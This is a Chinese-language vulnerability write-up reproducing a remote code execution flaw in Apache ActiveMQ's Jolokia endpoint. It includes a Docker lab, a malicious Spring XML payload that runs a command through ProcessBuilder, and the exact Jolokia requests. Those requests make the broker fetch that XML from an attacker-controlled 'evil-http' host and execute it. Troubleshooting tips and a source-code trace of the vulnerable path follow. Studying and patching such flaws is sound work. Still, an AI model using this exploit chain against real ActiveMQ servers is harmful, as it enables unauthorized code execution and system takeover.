Apache ActiveMQ CVE-2026-34197 Jolokia 远程代码执行漏洞分析

漏洞描述

Apache ActiveMQ Classic 在 Web 控制台暴露了 Jolokia JMX-HTTP bridge (/api/jolokia/)。默认的 Jolokia 访问策略允许对所有 org.apache.activemq:* MBeans 执行 exec 操作,包括 BrokerService.addNetworkConnector(String) 和 BrokerService.addConnector(String) 方法。

通过构造包含 brokerConfig 参数的 discovery URI,可以触发 VM transport 加载远程 Spring XML 配置文件。Spring 的 ResourceXmlApplicationContext 在实例化 singleton beans 时会执行任意代码,从而实现远程代码执行。

影响版本

  • Apache ActiveMQ Broker < 5.19.4
  • Apache ActiveMQ Broker 6.0.0 - 6.2.3

环境搭建

整体架构

复现需要两个角色:

  • ActiveMQ 目标:运行漏洞版本的 ActiveMQ,暴露 Jolokia 端口
  • 恶意 XML 服务器:攻击者控制的服务器,托管恶意 Spring XML 文件,供 ActiveMQ 下载

两个服务放在同一个 Docker bridge 网络里,让 ActiveMQ 能通过主机名访问到恶意 XML。

目录结构

activemq-cve-2026-34197/
├── docker-compose.yml      # 编排文件
├── exploit/
│   └── evil.xml            # 恶意 Spring XML,会被 ActiveMQ 下载并执行
└── CVE-2026-34197.md       # 本报告

docker-compose.yml

services:
  activemq:
    image: apache/activemq:6.2.1
    container_name: activemq-vuln
    ports:
      - "8161:8161"      # Web 控制台 + Jolokia
      - "61616:61616"    # OpenWire
    environment:
      - ACTIVEMQ_ADMIN_LOGIN=admin
      - ACTIVEMQ_ADMIN_PASSWORD=admin
    networks:
      - activemq-net

  evil-http:
    image: python:3.9-slim
    container_name: evil-http
    ports:
      - "8888:8000"      # 8888 映射到容器内 8000,方便宿主机调试
    volumes:
      - ./exploit:/usr/share/html    # 把本地 exploit 目录挂进去
    command: python -m http.server 8000 --directory /usr/share/html
    networks:
      - activemq-net

networks:
  activemq-net:
    driver: bridge

evil-http 服务的工作原理:

  • 基于 Python 自带的 http.server,在容器内 8000 端口起一个静态文件服务器
  • 通过 volumes 把本地 ./exploit 目录挂载到容器内 /usr/share/html,目录里的文件可以直接通过 HTTP 访问
  • 和 ActiveMQ 在同一个 Docker bridge 网络 activemq-net 内,ActiveMQ 容器可以用主机名 evil-http 访问这台服务器

启动:

docker compose up -d

搭建恶意 XML 托管服务器

恶意 XML 文件放在 exploit/ 目录下,docker-compose 启动后就会被 evil-http 容器托管。

创建 exploit/evil.xml:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- RCE 载荷,cmd bean 必须放在 broker bean 前面 -->
    <bean id="cmd" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>touch</value>
                <value>/tmp/PWNED_SUCCESS</value>
            </list>
        </constructor-arg>
    </bean>

    <!-- broker bean 必须存在,且设置 persistent=false 避免 KahaDB 锁阻塞 -->
    <bean id="broker" class="org.apache.activemq.xbean.XBeanBrokerService">
        <property name="brokerName" value="rcebroker42"/>
        <property name="persistent" value="false"/>
    </bean>

</beans>

两个 bean 的顺序很重要,且 broker 必须设置 persistent="false":

  • persistent="false":如果不设置,新 broker 会尝试创建 KahaDB 持久化存储并获取锁,可能导致锁被占用而一直等待。即使 cmd bean 放在前面,broker 初始化如果阻塞了,后续所有 Spring 初始化流程都会卡住。设置 persistent="false" 后改用内存存储,broker 初始化瞬间完成,不阻塞后续处理。
  • cmd 放在 broker 前面:Spring 按 XML 中的声明顺序实例化 singleton beans。XBeanBrokerService 的 @PostConstruct 回调会调用 afterPropertiesSet() 并启动 broker。如果 broker 先实例化,broker 启动过程可能阻塞当前线程,导致 cmd 永远没机会被实例化。把 cmd 放前面,Spring 先执行 ProcessBuilder.start() 触发命令,之后才轮到 broker。

XML 里定义的两个 bean 各有各的用处:

  • cmd bean(RCE 载荷):ProcessBuilder 配合 init-method="start",Spring 在实例化 singleton bean 时自动调用 start() 触发命令执行
  • broker bean(必须):XBeanBrokerFactory.createBroker() 会调用 context.getBean("broker") 获取 BrokerService 实例,找不到直接抛 NoSuchBeanDefinitionException,加载中断,命令也不会执行

broker 名 rcebroker42 要和 URI 里 vm://rcebroker42 的名字保持一致,而且这个名字不能和 ActiveMQ 容器内已存在的 broker 重名,否则 VMTransportFactory 不会创建新 broker,brokerConfig 也不会被加载。

为什么用 ProcessBuilder 而不是 Runtime.exec()?因为 Runtime.exec() 是实例方法,不适合作为 Spring bean 的 init-method。ProcessBuilder.start() 作为实例方法,刚好能被 Spring 的 init-method 机制调用。

验证环境可用

确认 ActiveMQ 和恶意 XML 服务器都正常工作:

# 验证 ActiveMQ Jolokia 可访问
$ curl -s -u admin:admin http://localhost:8161/api/jolokia/ | python3 -m json.tool | head -5
{
    "request": {
        "type": "version"
    },
    "status": 200,
    ...
}

# 从宿主机访问恶意 XML(通过 8888 映射端口)
$ curl -s http://localhost:8888/evil.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       ...>
    <bean id="broker" .../>
    <bean id="cmd" .../>
</beans>

# 从 ActiveMQ 容器内访问恶意 XML(Docker 网络内用主机名)
$ docker exec activemq-vuln curl -s http://evil-http:8000/evil.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans ...>
    ...
</beans>

三步都通过,说明环境没问题,可以开始复现。

漏洞复现

分步骤复现

通过 Jolokia 添加 Network Connector

POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/

{
  "type": "exec",
  "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
  "operation": "addNetworkConnector(java.lang.String)",
  "arguments": ["static:(vm://rcebroker42?brokerConfig=xbean:http://evil-http:8000/evil.xml)"]
}

返回 value: "NC",表示 Network Connector 添加成功。

这一步的 payload 拆解:

  • static:(...) — 使用 SimpleDiscoveryAgent,冒号后面直接写要连接的 URI
  • vm://rcebroker42 — 使用 VM transport 连接一个名为 rcebroker42 的 broker(这个名字故意取一个不存在的,因为 VMTransportFactory.doCompositeConnect() 发现 broker 不存在时才会去创建新的,创建过程才会加载 brokerConfig)
  • brokerConfig=xbean:http://evil-http:8000/evil.xml — 关键参数,告诉 VMTransportFactory 用 XBean 方式从这个 URL 加载 broker 配置

还要注意一个点,这个名字只能用一次,如果你再打

会显示已经注册

搜索 Network Connector MBean

POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/

{
  "type": "search",
  "mbean": "org.apache.activemq:*"
}

从返回结果中提取 networkConnector MBean:

启动 Network Connector

POST /api/jolokia HTTP/1.1
Host: 127.0.0.1:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://127.0.0.1:8161
Referer: http://127.0.0.1:8161/

{
  "type": "exec",
  "mbean": "org.apache.activemq:brokerName=localhost,connector=networkConnectors,networkConnectorName=NC,type=Broker",
  "operation": "start",
  "arguments": []
}

value: null 是正常的,start() 方法无返回值。但这一步触发了 Network Connector 的启动,进而建立了到 vm://rcebroker42 的连接,加载了远程 XML。

ActiveMQ 服务端日志:

恶意 HTTP 服务器日志:

两行日志串起来就是完整的攻击链:ActiveMQ 在建立网络连接时,从 evil-http:8000 下载了 evil.xml,Spring 在解析 XML 时实例化了 ProcessBuilder bean 并执行了 touch /tmp/PWNED_SUCCESS。

验证 RCE 成功

一些踩的坑

  • Origin 头必须携带:Jolokia 默认的 CORS 策略会拒绝没有 Origin 头的 exec 请求。不带 Origin 时会返回 403:
{"error_type":"java.lang.Exception","error":"java.lang.Exception : Origin null is not allowed to call this agent","status":403}
  • 重复添加 NC 会 500:addNetworkConnector 默认生成的 NC 名为 NC,JMX 里注册后不能重名。如果之前添加过,再次添加会返回 500:Network Connector could not be registered in JMX。解决:先调用 removeNetworkConnector("NC") 删除旧的,再添加新的。
  • XML 中 broker bean 必须设置 persistent="false":如果不设置,新 broker 会创建 KahaDB 持久化存储并尝试获取锁,可能因为锁被占用而一直等待,即使 cmd bean 放在前面也可能来不及执行。设置 persistent="false" 后改用内存存储,broker 初始化瞬间完成,命令必定先执行。
  • XML 中 bean 的顺序很关键:cmd bean(RCE 载荷)必须放在 broker bean 前面。Spring 按声明顺序实例化 singleton beans。XBeanBrokerService 的 @PostConstruct 回调会调用 afterPropertiesSet() 并启动 broker,如果 broker 先实例化,broker 初始化过程可能阻塞当前线程,导致 cmd 没机会被实例化。

漏洞分析

代码分析

Jolokia 访问策略

文件位置: assembly/src/release/conf/jolokia-access.xml

<?xml version="1.0" encoding="UTF-8"?>
<restrict>

  <!-- Enforce that an Origin/Referer header is present to prevent CSRF -->
  <cors>
    <strict-checking/>
  </cors>

  <!-- By default don't allow write or exec operations -->
  <commands>
    <command>read</command>
    <command>list</command>
    <command>version</command>
    <command>search</command>
  </commands>

  <allow>
    <!-- Allow all operations for the broker itself -->
    <mbean>
      <name>org.apache.activemq:*</name>
      <attribute>*</attribute>
      <operation>*</operation>
    </mbean>
    <!-- Allow all operations for Jolokia Config -->
    <mbean>
      <name>jolokia:type=Config</name>
      <operation>*</operation>
    </mbean>
  </allow>

  <!-- deny all operations or getting attributes from these mbeans -->
  <deny>
    <mbean>
      <name>org.apache.logging.log4j2:*</name>
      <attribute>*</attribute>
      <operation>*</operation>
    </mbean>
    <mbean>
      <name>com.sun.management:type=DiagnosticCommand</name>
      <attribute>*</attribute>
      <operation>*</operation>
    </mbean>
    <mbean>
      <name>com.sun.management:type=HotSpotDiagnostic</name>
      <attribute>*</attribute>
      <operation>*</operation>
    </mbean>
    <mbean>
      <name>jdk.management.jfr:type=FlightRecorder</name>
      <attribute>*</attribute>
      <operation>*</operation>
    </mbean>
  </deny>

</restrict>

关键点:

  • <cors><strict-checking/></cors> 要求请求必须带 Origin 或 Referer 头,否则返回 403
  • 默认 <commands> 只允许 read/list/version/search,但 <allow> 里对 org.apache.activemq:* 开放了所有操作,会覆盖默认限制
  • 最终效果:对 ActiveMQ MBeans 可以执行任意操作,包括 exec

addNetworkConnector 方法

文件位置: activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception {
    NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress);
    return addNetworkConnector(connector);
}

public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
    return addNetworkConnector(new URI(discoveryAddress));
}

传入的 discovery URI 会被用来创建 DiscoveryNetworkConnector。Jolokia 调用的是 String 参数版本,内部转成 URI 后调用 URI 版本。

DiscoveryNetworkConnector 连接建立

文件位置: activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java

public class DiscoveryNetworkConnector extends NetworkConnector implements DiscoveryListener {
    private static final Logger LOG = LoggerFactory.getLogger(DiscoveryNetworkConnector.class);

    private DiscoveryAgent discoveryAgent;
    private Map<String, String> parameters;
    private final ConcurrentMap<URI, DiscoveryEvent> activeEvents = new ConcurrentHashMap<URI, DiscoveryEvent>();
    private URI discoveryUri;

    public DiscoveryNetworkConnector(URI discoveryURI) throws IOException {
        setUri(discoveryURI);
    }

    public void setUri(URI discoveryURI) throws IOException {
        this.discoveryUri = discoveryURI;
        setDiscoveryAgent(DiscoveryAgentFactory.createDiscoveryAgent(discoveryURI));
        try {
            parameters = URISupport.parseParameters(discoveryURI);
            // allow discovery agent to grab it's parameters
            IntrospectionSupport.setProperties(getDiscoveryAgent(), parameters);
        } catch (URISyntaxException e) {
            LOG.warn("failed to parse query parameters from discoveryURI: {}", discoveryURI, e);
        }
    }

    @Override
    public void onServiceAdd(DiscoveryEvent event) {
        // Ignore events once we start stopping.
        if (serviceSupport.isStopped() || serviceSupport.isStopping()) {
            return;
        }
        String url = event.getServiceName();
        if (url != null) {
            URI uri;
            try {
                uri = new URI(url);
            } catch (URISyntaxException e) {
                LOG.warn("Could not connect to remote URI: {} due to bad URI syntax: ", url, e);
                return;
            }

            if (localURI.equals(uri)) {
                LOG.debug("not connecting loopback: {}", uri);
                return;
            }

            if (connectionFilter != null && !connectionFilter.connectTo(uri)) {
                LOG.debug("connectionFilter disallows connection to: {}", uri);
                return;
            }

            // Should we try to connect to that URI?
            if (activeEvents.putIfAbsent(uri, event) != null) {
                LOG.debug("Discovery agent generated a duplicate onServiceAdd event for: {}", uri);
                return;
            }

            URI connectUri = uri;
            try {
                connectUri = URISupport.applyParameters(connectUri, parameters, DISCOVERED_OPTION_PREFIX);
            } catch (URISyntaxException e) {
                LOG.warn("could not apply query parameters: {} to: {}",parameters, connectUri, e);
            }

            LOG.info("Establishing network connection from {} to {}", localURI, connectUri);

            Transport remoteTransport;
            Transport localTransport;
            try {
                // Allows the transport to access the broker's ssl configuration.
                if (getSslContext() != null) {
                    SslContext.setCurrentSslContext(getSslContext());
                } else {
                    SslContext.setCurrentSslContext(getBrokerService().getSslContext());
                }
                try {
                    // 关键调用:通过 TransportFactory.connect() 建立连接
                    remoteTransport = TransportFactory.connect(connectUri);
                } catch (Exception e) {
                    LOG.warn("Could not connect to remote URI: {}: {}", connectUri, e.getMessage());
                    LOG.debug("Connection failure exception: ", e);
                    try {
                        discoveryAgent.serviceFailed(event);
                    } catch (IOException e1) {
                        LOG.debug("Failure while handling create remote transport failure event: {}", e1.getMessage(), e1);
                    }
                    return;
                }
                // ... 省略后续代码
            } finally {
                SslContext.setCurrentSslContext(null);
            }
        }
    }
}

关键流程:

  1. DiscoveryNetworkConnector 构造时调用 setUri(),通过 DiscoveryAgentFactory.createDiscoveryAgent() 创建 discovery agent
  2. 当 NC 启动时,discovery agent 开始工作,发现服务后回调 onServiceAdd()
  3. onServiceAdd() 中调用 TransportFactory.connect(connectUri) 建立传输连接
  4. 对于 vm:// scheme,会调用 VMTransportFactory.doCompositeConnect()

VMTransportFactory 处理 brokerConfig

文件位置: activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java

public class VMTransportFactory extends TransportFactory {

    public static final ConcurrentMap<String, BrokerService> BROKERS = new ConcurrentHashMap<String, BrokerService>();
    public static final ConcurrentMap<String, TransportConnector> CONNECTORS = new ConcurrentHashMap<String, TransportConnector>();
    public static final ConcurrentMap<String, VMTransportServer> SERVERS = new ConcurrentHashMap<String, VMTransportServer>();
    private static final Logger LOG = LoggerFactory.getLogger(VMTransportFactory.class);

    BrokerFactoryHandler brokerFactoryHandler;

    @Override
    public Transport doConnect(URI location) throws Exception {
        return VMTransportServer.configure(doCompositeConnect(location));
    }

    @Override
    public Transport doCompositeConnect(URI location) throws Exception {
        URI brokerURI;
        String host;
        Map<String, String> options;
        boolean create = true;
        int waitForStart = -1;
        CompositeData data = URISupport.parseComposite(location);
        if (data.getComponents().length == 1 && "broker".equals(data.getComponents()[0].getScheme())) {
            // ... 省略 broker:// scheme 处理
        } else {
            // If using the less complex vm://localhost?broker.persistent=true form
            try {
                host = extractHost(location);
                options = URISupport.parseParameters(location);
                // 关键:从 URI 参数中提取 brokerConfig
                String config = options.remove("brokerConfig");
                if (config != null) {
                    brokerURI = new URI(config);
                } else {
                    Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
                    brokerURI = new URI("broker://()/" + host + "?"
                                        + URISupport.createQueryString(brokerOptions));
                }
                if ("false".equals(options.remove("create"))) {
                    create = false;
                }
                String waitForStartString = options.remove("waitForStart");
                if (waitForStartString != null) {
                    waitForStart = Integer.parseInt(waitForStartString);
                }
            } catch (URISyntaxException e1) {
                throw IOExceptionSupport.create(e1);
            }
            location = new URI("vm://" + host);
        }
        if (host == null) {
            host = "localhost";
        }
        VMTransportServer server = SERVERS.get(host);
        // validate the broker is still active
        if (!validateBroker(host) || server == null) {
            BrokerService broker = null;
            // Synchronize on the registry so that multiple concurrent threads
            // doing this do not think that the broker has not been created and
            // cause multiple brokers to be started.
            synchronized (BrokerRegistry.getInstance().getRegistryMutext()) {
                broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
                if (broker == null) {
                    if (!create) {
                        throw new IOException("Broker named '" + host + "' does not exist.");
                    }
                    try {
                        // 关键:创建 broker,会加载 brokerConfig 指定的配置
                        if (brokerFactoryHandler != null) {
                            broker = brokerFactoryHandler.createBroker(brokerURI);
                        } else {
                            broker = BrokerFactory.createBroker(brokerURI);
                        }
                        broker.start();
                        MDC.put("activemq.broker", broker.getBrokerName());
                    } catch (URISyntaxException e) {
                        throw IOExceptionSupport.create(e);
                    }
                    BROKERS.put(host, broker);
                    BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
                }

                server = SERVERS.get(host);
                if (server == null) {
                    server = (VMTransportServer)bind(location, true);
                    TransportConnector connector = new TransportConnector(server);
                    connector.setBrokerService(broker);
                    connector.setUri(location);
                    connector.setTaskRunnerFactory(broker.getTaskRunnerFactory());
                    connector.start();
                    CONNECTORS.put(host, connector);
                }

            }
        }
        // ... 省略返回 transport 的代码
    }
}

关键流程:

  1. 解析 vm://rcebroker42?brokerConfig=xbean:http://...,提取 brokerConfig 参数
  2. 如果 broker 名不存在于 BrokerRegistry,则创建新 broker
  3. 调用 BrokerFactory.createBroker(brokerURI) 加载配置,brokerURI 为 xbean:http://evil-http:8000/evil.xml

BrokerFactory 路由到 XBeanBrokerFactory

文件位置: activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java

public class BrokerFactory {

    private static final ThreadLocal<Boolean> START_DEFAULT = new ThreadLocal<Boolean>();

    public static BrokerService createBroker(URI brokerURI) throws Exception {
        return createBroker(brokerURI, true);
    }

    public static BrokerService createBroker(URI brokerURI, boolean start) throws Exception {
        START_DEFAULT.set(start);
        try {
            // 根据 URI scheme 找到对应的 Factory
            BrokerFactoryHandler handler = getBrokerFactoryHandler(brokerURI);
            return handler.createBroker(brokerURI);
        } finally {
            START_DEFAULT.remove();
        }
    }

    private static BrokerFactoryHandler getBrokerFactoryHandler(URI brokerURI) {
        String scheme = brokerURI.getScheme();
        if (scheme == null) {
            scheme = "xbean";
        }
        // 对于 xbean: scheme,返回 XBeanBrokerFactory 实例
        BrokerFactoryHandler handler = BROKER_FACTORY_HANDLERS.get(scheme);
        if (handler == null) {
            throw new IllegalArgumentException("Unknown broker factory handler scheme: " + scheme);
        }
        return handler;
    }
}

xbean: scheme 会路由到 XBeanBrokerFactory。

XBeanBrokerFactory 加载远程配置

文件位置: activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java

public class XBeanBrokerFactory implements BrokerFactoryHandler {
    private static final transient Logger LOG = LoggerFactory.getLogger(XBeanBrokerFactory.class);

    static {
        PropertyEditorManager.registerEditor(URI.class, URIEditor.class);
    }

    private boolean validate = true;

    public boolean isValidate() {
        return validate;
    }

    public void setValidate(boolean validate) {
        this.validate = validate;
    }

    public BrokerService createBroker(URI config) throws Exception {
        // 获取 scheme-specific 部分,即 "http://evil-http:8000/evil.xml"
        String uri = config.getSchemeSpecificPart();
        if (uri.lastIndexOf('?') != -1) {
            IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
            uri = uri.substring(0, uri.lastIndexOf('?'));
        }

        // 关键:创建 Spring ApplicationContext,加载远程 XML
        ApplicationContext context = createApplicationContext(uri);

        // 从 context 获取 broker bean
        BrokerService broker = null;
        try {
            broker = (BrokerService)context.getBean("broker");
        } catch (BeansException e) {
        }

        if (broker == null) {
            // lets try find by type
            String[] names = context.getBeanNamesForType(BrokerService.class);
            for (int i = 0; i < names.length; i++) {
                String name = names[i];
                broker = (BrokerService)context.getBean(name);
                if (broker != null) {
                    break;
                }
            }
        }
        if (broker == null) {
            throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
        }

        SpringBrokerContext springBrokerContext = new SpringBrokerContext();
        springBrokerContext.setApplicationContext(context);
        springBrokerContext.setConfigurationUrl(uri);
        broker.setBrokerContext(springBrokerContext);

        return broker;
    }

    protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
        // 关键:将 URL 字符串转换为 Spring Resource
        Resource resource = Utils.resourceFromString(uri);
        LOG.debug("Using " + resource + " from " + uri);
        try {
            // 关键:创建 ResourceXmlApplicationContext,会触发 XML 解析和 bean 实例化
            return new ResourceXmlApplicationContext(resource) {
                @Override
                protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
                    reader.setValidating(isValidate());
                }
            };
        } catch (FatalBeanException errorToLog) {
            LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
            throw errorToLog;
        }
    }
}

关键流程:

  1. 从 xbean:http://evil-http:8000/evil.xml 提取 URL 部分
  2. 调用 Utils.resourceFromString() 将 URL 转为 UrlResource
  3. 创建 ResourceXmlApplicationContext,这会下载并解析远程 XML
  4. 在构造 ResourceXmlApplicationContext 时,Spring 会实例化所有 singleton beans
  5. 从 context 中获取名为 broker 的 bean

Utils.resourceFromString URL 转换

文件位置: activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java

public class Utils {

    public static Resource resourceFromString(String uri) throws MalformedURLException {
        Resource resource;
        File file = new File(uri);
        if (file.exists()) {
            resource = new FileSystemResource(uri);
        } else if (ResourceUtils.isUrl(uri)) {
            // http:// URL 会走这个分支
            try {
                resource = new UrlResource(ResourceUtils.getURL(uri));
            } catch (FileNotFoundException e) {
                MalformedURLException malformedURLException = new MalformedURLException(uri);
                malformedURLException.initCause(e);
                throw  malformedURLException;
            }
        } else {
            resource = new ClassPathResource(uri);
        }
        return resource;
    }
}

http:// URL 会被转换为 UrlResource,Spring 可以直接从远程加载。

Spring Bean 实例化触发 RCE

ResourceXmlApplicationContext 在构造时会实例化所有 singleton beans。当遇到以下 bean 定义时:

<bean id="cmd" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
        <list>
            <value>touch</value>
            <value>/tmp/PWNED_SUCCESS</value>
        </list>
    </constructor-arg>
</bean>

Spring 会:

  1. 创建 ProcessBuilder 实例,传入命令列表 ["touch", "/tmp/PWNED_SUCCESS"]
  2. 调用 init-method="start" 执行命令

为什么 init-method="start" 能工作?ProcessBuilder.start() 是一个实例方法,返回 Process。Spring 的 init-method 机制会在 bean 实例化后调用指定的方法,刚好能触发命令执行。

为什么必须把 cmd bean 放在 broker bean 前面? Spring 按声明顺序实例化 singleton beans。XBeanBrokerService 的 @PostConstruct 注解方法会调用 afterPropertiesSet(),进而启动 broker。如果不设置 persistent="false",broker 启动时会创建 KahaDB 存储并等待锁,可能阻塞当前线程,导致后面的 cmd bean 没机会实例化。

数据流追踪

用户可控输入(Jolokia HTTP API)
       ↓
    JSON payload
       ↓
JMX MBean 操作
       ↓
BrokerService.addNetworkConnector(String)
       ↓
DiscoveryNetworkConnector.onServiceAdd()
       ↓
TransportFactory.connect("vm://rcebroker42?brokerConfig=...")
       ↓
VMTransportFactory.doCompositeConnect()
       ↓
解析 brokerConfig 参数
       ↓
BrokerFactory.createBroker("xbean:http://...")
       ↓
XBeanBrokerFactory.createBroker()
       ↓
ResourceXmlApplicationContext 加载远程 XML
       ↓
Spring 实例化 ProcessBuilder bean
       ↓
init-method="start" 执行命令(Sink 点)

参考资料

免责声明

本报告仅用于安全研究和教育目的。所有测试均在授权环境中进行。

  • 请勿将本文提供的信息用于任何非法目的
  • 本文所述漏洞利用方法仅用于帮助理解和修复安全漏洞
  • 如果有错误,还请指正